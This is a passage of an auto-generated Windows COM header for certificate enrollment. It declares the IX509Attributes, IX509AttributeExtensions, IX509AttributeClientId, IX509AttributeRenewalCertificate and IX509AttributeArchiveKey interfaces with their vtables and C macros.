REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Attributes * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Attribute **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IX509Attributes * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IX509Attributes * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ __RPC__in_opt IX509Attribute *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IX509Attributes * This);\n        \n        END_INTERFACE\n    } IX509AttributesVtbl;\n\n    interface IX509Attributes\n    {\n        CONST_VTBL struct IX509AttributesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Attributes_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Attributes_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Attributes_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Attributes_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Attributes_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Attributes_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Attributes_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Attributes_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IX509Attributes_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IX509Attributes_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IX509Attributes_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IX509Attributes_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IX509Attributes_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Attributes_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeExtensions_INTERFACE_DEFINED__\n#define __IX509AttributeExtensions_INTERFACE_DEFINED__\n\n/* interface IX509AttributeExtensions */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeExtensions;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab324-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeExtensions : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt IX509Extensions *pExtensions) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_X509Extensions( \n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeExtensionsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeExtensions * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeExtensions * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeExtensions * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ __RPC__in_opt IX509Extensions *pExtensions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        END_INTERFACE\n    } IX509AttributeExtensionsVtbl;\n\n    interface IX509AttributeExtensions\n    {\n        CONST_VTBL struct IX509AttributeExtensionsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeExtensions_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeExtensions_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeExtensions_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeExtensions_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeExtensions_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeExtensions_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeExtensions_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeExtensions_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeExtensions_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeExtensions_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeExtensions_InitializeEncode(This,pExtensions)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pExtensions) ) \n\n#define IX509AttributeExtensions_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeExtensions_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeExtensions_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0037 */\n/* [local] */ \n\ntypedef \nenum RequestClientInfoClientId\n    {\tClientIdNone\t= 0,\n\tClientIdXEnroll2003\t= 1,\n\tClientIdAutoEnroll2003\t= 2,\n\tClientIdWizard2003\t= 3,\n\tClientIdCertReq2003\t= 4,\n\tClientIdDefaultRequest\t= 5,\n\tClientIdAutoEnroll\t= 6,\n\tClientIdRequestWizard\t= 7,\n\tClientIdEOBO\t= 8,\n\tClientIdCertReq\t= 9,\n\tClientIdTest\t= 10,\n\tClientIdUserStart\t= 1000\n    } \tRequestClientInfoClientId;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0037_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0037_v0_0_s_ifspec;\n\n#ifndef __IX509AttributeClientId_INTERFACE_DEFINED__\n#define __IX509AttributeClientId_INTERFACE_DEFINED__\n\n/* interface IX509AttributeClientId */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeClientId;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab325-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeClientId : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ RequestClientInfoClientId ClientId,\n            /* [in] */ __RPC__in BSTR strMachineDnsName,\n            /* [in] */ __RPC__in BSTR strUserSamName,\n            /* [in] */ __RPC__in BSTR strProcessName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ClientId( \n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_MachineDnsName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UserSamName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ProcessName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeClientIdVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeClientId * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeClientId * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeClientId * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ RequestClientInfoClientId ClientId,\n            /* [in] */ __RPC__in BSTR strMachineDnsName,\n            /* [in] */ __RPC__in BSTR strUserSamName,\n            /* [in] */ __RPC__in BSTR strProcessName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_MachineDnsName )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UserSamName )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProcessName )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeClientIdVtbl;\n\n    interface IX509AttributeClientId\n    {\n        CONST_VTBL struct IX509AttributeClientIdVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeClientId_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeClientId_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeClientId_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeClientId_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeClientId_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeClientId_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeClientId_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeClientId_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeClientId_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeClientId_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeClientId_InitializeEncode(This,ClientId,strMachineDnsName,strUserSamName,strProcessName)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,ClientId,strMachineDnsName,strUserSamName,strProcessName) ) \n\n#define IX509AttributeClientId_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeClientId_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509AttributeClientId_get_MachineDnsName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MachineDnsName(This,pValue) ) \n\n#define IX509AttributeClientId_get_UserSamName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UserSamName(This,pValue) ) \n\n#define IX509AttributeClientId_get_ProcessName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProcessName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeClientId_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeRenewalCertificate_INTERFACE_DEFINED__\n#define __IX509AttributeRenewalCertificate_INTERFACE_DEFINED__\n\n/* interface IX509AttributeRenewalCertificate */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeRenewalCertificate;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab326-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeRenewalCertificate : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCert) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RenewalCertificate( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeRenewalCertificateVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeRenewalCertificate * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeRenewalCertificate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeRenewalCertificate * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCert);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeRenewalCertificateVtbl;\n\n    interface IX509AttributeRenewalCertificate\n    {\n        CONST_VTBL struct IX509AttributeRenewalCertificateVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeRenewalCertificate_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeRenewalCertificate_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeRenewalCertificate_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeRenewalCertificate_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeRenewalCertificate_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeRenewalCertificate_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeRenewalCertificate_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeRenewalCertificate_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeRenewalCertificate_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeRenewalCertificate_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeRenewalCertificate_InitializeEncode(This,Encoding,strCert)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,Encoding,strCert) ) \n\n#define IX509AttributeRenewalCertificate_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeRenewalCertificate_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeRenewalCertificate_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeArchiveKey_INTERFACE_DEFINED__\n#define __IX509AttributeArchiveKey_INTERFACE_DEFINED__\n\n/* interface IX509AttributeArchiveKey */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeArchiveKey;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab327-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeArchiveKey : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt IX509PrivateKey *pKey,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCAXCert,\n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ LONG EncryptionStrength) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptedKeyBlob( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptionAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptionStrength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeArchiveKeyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeArchiveKey * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeArchiveKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( 